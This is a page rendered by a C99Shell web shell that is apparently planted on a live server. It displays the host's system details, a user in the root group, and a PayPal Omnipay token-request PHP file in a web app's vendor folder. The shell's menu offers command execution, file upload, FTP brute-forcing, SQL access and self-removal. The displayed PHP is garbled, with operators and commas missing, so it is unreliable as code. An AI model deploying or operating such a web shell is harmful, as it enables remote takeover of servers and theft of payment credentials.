!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/omnipay/paypal/src/Message/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RestTokenRequest.php (1.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PayPal REST Token Request
 */

namespace Omnipay\PayPal\Message;

/**
 * PayPal REST Token Request
 *
 * With each API call, you’ll need to set request headers, including
 * an OAuth 2.0 access token. Get an access token by using the OAuth
 * 2.0 client_credentials token grant type with your clientId:secret
 * as your Basic Auth credentials.
 *
 * @link https://developer.paypal.com/docs/integration/direct/make-your-first-call/
 * @link https://developer.paypal.com/docs/api/#authentication--headers
 */
class RestTokenRequest extends AbstractRestRequest
{
    public function 
getData()
    {
        return array(
'grant_type' => 'client_credentials');
    }

    protected function 
getEndpoint()
    {
        return 
parent::getEndpoint() . '/oauth2/token';
    }

    public function 
sendData($data)
    {
        
$body $data http_build_query($data'''&') : null;
        
$httpResponse $this->httpClient->request(
            
$this->getHttpMethod(),
            
$this->getEndpoint(),
            array(
                
'Accept' => 'application/json',
                
'Authorization' => 'Basic ' base64_encode("{$this->getClientId()}:{$this->getSecret()}"),
            ),
            
$body
        
);
        
// Empty response body should be parsed also as and empty array
        
$body = (string) $httpResponse->getBody()->getContents();
        
$jsonToArrayResponse = !empty($body) ? json_decode($bodytrue) : array();
        return 
$this->response = new RestResponse($this$jsonToArrayResponse$httpResponse->getStatusCode());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--